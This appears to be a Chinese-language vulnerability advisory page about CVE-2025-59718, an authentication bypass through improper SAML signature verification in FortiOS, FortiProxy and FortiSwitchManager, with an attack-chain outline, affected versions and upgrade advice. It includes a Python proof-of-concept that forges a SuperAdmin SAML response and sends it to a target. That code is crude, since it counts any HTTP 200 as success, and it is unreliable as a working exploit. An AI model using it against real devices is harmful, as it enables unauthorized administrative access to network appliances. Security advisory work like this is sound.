IPBUF安全漏洞报告
English
CVE-2025-59718 CVSS 9.8 严重

CVE-2025-59718 FortiOS/FortiProxy SAML签名验证不当导致认证绕过

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-59718
漏洞类型
认证绕过/加密签名验证不当
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FortiOS、FortiProxy、FortiSwitchManager

相关标签

CVE-2025-59718FortinetFortiOSFortiProxyFortiSwitchManager认证绕过SAML加密签名验证不当SSOFortiCloud

漏洞概述

CVE-2025-59718是Fortinet产品中的一个严重安全漏洞,存在于FortiOS 7.0.0至7.6.3版本、FortiProxy 7.0.0至7.6.3版本以及FortiSwitchManager 7.0.0至7.2.6版本中。该漏洞的根本原因是SAML(安全断言标记语言)响应消息的加密签名验证不当。攻击者可以通过构造恶意的SAML响应消息,在无需任何认证凭证的情况下绕过FortiCloud SSO(单点登录)认证机制,成功获取目标系统的访问权限。由于CVSS评分高达9.8且攻击复杂度低、无需认证,该漏洞被评定为严重级别,对使用受影响版本产品的企业网络安全构成重大威胁。未经授权的攻击者一旦利用此漏洞,可能导致敏感数据泄露、账户被劫持以及进一步的内网横向移动。

技术细节

该漏洞属于CWE-347(密码学签名验证不当)类别。漏洞存在于FortiOS和FortiProxy的SAML SSO认证模块中。当系统处理来自FortiCloud的SAML响应时,应用程序未能正确验证SAML断言的加密签名完整性。攻击者可以构造包含伪造断言的SAML响应,利用以下技术手段实现认证绕过:1)篡改SAML响应中的用户身份标识符;2)伪造或绕过数字签名验证;3)利用SAML重放攻击或断言注入。由于验证逻辑的缺陷,系统会错误地信任恶意SAML响应中的内容,从而授予攻击者合法用户权限。攻击者只需构造特定的SAML响应并诱导目标用户访问恶意链接或利用已建立的会话,即可完成认证绕过过程。

攻击链分析

STEP 1
侦察阶段
攻击者识别运行受影响版本FortiOS/FortiProxy的目标设备,确认SAML SSO功能是否启用
STEP 2
构造恶意SAML响应
攻击者创建包含伪造用户身份和管理员权限的恶意SAML响应消息,绕过签名验证机制
STEP 3
诱导用户访问
通过钓鱼邮件、社会工程学或中间人攻击等方式,诱导目标用户访问包含恶意SAML响应的链接
STEP 4
认证绕过
目标系统处理恶意SAML响应时,由于签名验证不当,错误地授予攻击者管理员权限
STEP 5
权限维持与横向移动
攻击者获取系统访问权限后,可创建后门账户、窃取敏感数据或进行内网横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 from lxml import etree # CVE-2025-59718 PoC - SAML Response Forgery # Target: FortiOS/FortiProxy SAML SSO Authentication Bypass TARGET_URL = "https://<target-ip>/sslvpn/portal/" ATTACKER_CONTROLLED_DOMAIN = "https://attacker.com/" def create_malicious_saml_response(): """ Generate malicious SAML response for authentication bypass This PoC demonstrates the signature verification bypass """ saml_response = f""" <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Issuer>https://forticloud.fortinet.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion> <saml:Issuer>https://forticloud.fortinet.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"> [email protected] </saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2025-12-31T23:59:59Z"/> <saml:AttributeStatement> <saml:Attribute Name="groups"> <saml:AttributeValue>SuperAdmin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response> """ encoded_response = base64.b64encode(saml_response.encode()).decode() return encoded_response def exploit(target_url, saml_response): """ Send malicious SAML response to target """ exploit_url = f"{target_url}?SAMLResponse={requests.utils.quote(saml_response)}" print(f"[*] Sending malicious SAML response to: {target_url}") print(f"[*] Exploit URL: {exploit_url}") try: response = requests.get(exploit_url, verify=False, timeout=30) print(f"[+] Response Status: {response.status_code}") if "authenticated" in response.text.lower() or response.status_code == 200: print("[!] Authentication bypass successful!") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-59718 - FortiOS/FortiProxy SAML Auth Bypass") malicious_response = create_malicious_saml_response() exploit(TARGET_URL, malicious_response)

影响范围

FortiOS 7.6.0 - 7.6.3
FortiOS 7.4.0 - 7.4.8
FortiOS 7.2.0 - 7.2.11
FortiOS 7.0.0 - 7.0.17
FortiProxy 7.6.0 - 7.6.3
FortiProxy 7.4.0 - 7.4.10
FortiProxy 7.2.0 - 7.2.14
FortiProxy 7.0.0 - 7.0.21
FortiSwitchManager 7.2.0 - 7.2.6
FortiSwitchManager 7.0.0 - 7.0.5

防御指南

临时缓解措施
立即将FortiOS升级至7.6.4、7.4.9、7.2.12或7.0.18及以上版本;将FortiProxy升级至7.6.4、7.4.11、7.2.15或7.0.22及以上版本;将FortiSwitchManager升级至7.2.7或7.0.6及以上版本。在无法立即升级的情况下,可考虑临时禁用SAML SSO功能或限制SAML IdP的信任范围,添加额外的验证层如IP白名单和设备指纹验证,同时加强日志监控以检测异常认证行为。由于该漏洞已被标记为已知被利用漏洞(KEV),建议优先处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表